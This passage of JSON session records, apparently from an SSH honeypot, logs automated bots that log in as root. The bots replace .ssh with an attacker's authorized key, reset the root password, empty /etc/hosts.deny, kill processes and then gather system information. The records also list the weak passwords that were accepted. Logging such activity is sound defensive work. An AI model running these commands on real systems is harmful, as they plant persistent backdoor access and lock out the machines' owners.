ls)"},{"seq":12,"at":"2026-08-26T14:39:28.950581+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:39:29.698822+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:39:30.565429+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:39:31.315172+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:39:32.168336+00:00","kind":"output","latency_ms":null,"data":" 14:39:32 up 6 days, 11:29, 0 user, load average: 0.16, 0.14, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:39:32.916184+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:39:33.652114+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:39:34.400849+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:39:34.954048+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:39:35.701289+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:39:35.989470+00:00","kind":"output","latency_ms":null,"data":"top - 14:39:35 up 6 days, 11:29, 0 user, load average: 0.16, 0.14, 0.15\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:39:36.739150+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:39:37.500842+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:39:38.257316+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:39:38.689918+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:39:39.439736+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:39:40.059527+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:39:40.808102+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:39:41.964005+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:39:42.711716+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:39:44.048485+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!@#123qweASD","method":"password","accepted":true,"tier":"other"}]} {"id":"573b33b6-3eae-458e-b5ca-03759bf9cb6d","name":"loyal-dusty-plover","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":62216,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":292,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:39:21.006538+00:00","ended_at":"2026-08-26T14:39:22.744954+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:38:58.389359+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:38:58.688657+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:39:03.825062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:39:04.618068+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:39:04.910575+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qGAonOYRgvR7\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:39:05.200553+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:39:05.491200+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:39:05.854634+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:39:06.146378+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:39:07.550329+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:39:07.844215+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:39:08.875194+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:39:09.173771+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:39:09.984253+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:39:10.274828+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:39:10.744234+00:00","kind":"output","latency_ms":null,"data":" 14:39:10 up 6 days, 11:29, 0 user, load average: 0.31, 0.23, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:39:11.037467+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:39:11.674651+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:39:11.964085+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:39:12.956328+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:39:13.246759+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:39:15.261310+00:00","kind":"output","latency_ms":null,"data":"top - 14:39:15 up 6 days, 11:29, 0 user, load average: 0.31, 0.23, 0.22\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:39:15.552570+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:39:16.616109+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:39:16.907530+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:39:17.378210+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:39:17.669201+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:39:19.336857+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:39:19.629383+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:39:20.715537+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:39:21.007254+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:39:22.659407+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Abc123456.","method":"password","accepted":true,"tier":"other"}]} {"id":"bdb39c75-9d9c-411a-a462-848f8b63369a","name":"ashen-humble-finch","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":58144,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":301,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:37:21.409105+00:00","ended_at":"2026-08-26T14:37:22.312259+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:36:56.066377+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:36:56.367377+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:37:00.346503+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:37:01.176721+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:37:01.479087+00:00","kind":"input","latency_ms":null,"data":"echo \"root:KT1rTMQFm56d\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:37:01.779597+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:37:02.081229+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:37:02.845151+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:37:03.146845+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:37:04.446610+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:37:04.749166+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:37:06.114890+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:37:06.420949+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:37:07.016738+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:37:07.325111+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:37:08.739677+00:00","kind":"output","latency_ms":null,"data":" 14:37:08 up 6 days, 11:27, 0 user, load average: 0.34, 0.29, 0.34\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:37:09.041387+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:37:10.015951+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:37:10.343195+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:37:11.567352+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:37:11.869557+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:37:13.842659+00:00","kind":"output","latency_ms":null,"data":"top - 14:37:13 up 6 days, 11:27, 0 user, load average: 0.34, 0.29, 0.34\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:37:14.143558+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:37:15.356190+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:37:15.656483+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:37:17.788499+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:37:18.089621+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:37:18.679638+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T14:37:18.982084+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:37:21.104875+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:37:21.409657+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:37:22.224875+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"abc@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"89f9cf55-6093-45e0-a19e-bd2df5e61d1b","name":"golden-frugal-pangolin","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":64812,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":287,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:35:22.389541+00:00","ended_at":"2026-08-26T14:35:23.705048+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T14:34:53.119628+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:34:53.409750+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:34:58.358579+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:35:00.277255+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:35:00.565205+00:00","kind":"input","latency_ms":null,"data":"echo \"root:nAF7AZkHJL8V\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:35:00.853555+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:35:01.141891+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:35:01.411241+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T14:35:02.467153+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T14:35:02.758105+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T14:35:03.739024+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T14:35:04.030207+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T14:35:05.457520+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T14:35:05.746452+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T14:35:06.887622+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T14:35:07.175282+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T14:35:08.840220+00:00","kind":"output","latency_ms":null,"data":" 14:35:08 up 6 days, 11:25, 0 user, load average: 0.29, 0.37, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T14:35:09.128967+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T14:35:10.166842+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T14:35:10.454121+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T14:35:12.582889+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T14:35:12.871072+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T14:35:14.641619+00:00","kind":"output","latency_ms":null,"data":"top - 14:35:14 up 6 days, 11:25, 0 user, load average: 0.29, 0.37, 0.33\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T14:35:14.929760+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T14:35:16.947559+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T14:35:17.235388+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T14:35:19.342261+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T14:35:19.630351+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T14:35:20.477025+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T14:35:20.767645+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T14:35:22.102317+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T14:35:22.390335+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T14:35:23.616725+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1qaz2WSX!","method":"password","accepted":true,"tier":"other"}]} {"id":"24d89739-dec6-4187-8b9e-2e8bf306c2a3","name":"jolly-sunlit-caracal","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40716,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":746,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:34:15.066072+00:00","ended_at":"2026-08-26T14:34:16.782068+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-26T14:33:47.681715+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:33:48.426764+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:33:55.172374+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:33:55.739663+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:33:56.486091+00:00","kind":"input","latency_ms":null,"data":"echo \"root:TiRWSjM6zJGV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T14:33:57.230114+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T14:33:57.974860+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:33:58.400434+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:33:59.146103+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:34:00.248542+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:34:00.995169+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:34:02.237628+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:34:02.987083+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:34:03.380719+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:34:04.125910+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:34:04.463608+00:00","kind":"output","latency_ms":null,"data":" 14:34:04 up 6 days, 11:24, 0 user, load average: 0.17, 0.13, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:34:05.209151+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:34:05.679963+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:34:06.426832+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:34:07.178307+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:34:07.924082+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:34:08.647595+00:00","kind":"output","latency_ms":null,"data":"top - 14:34:08 up 6 days, 11:24, 0 user, load average: 0.17, 0.13, 0.2\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 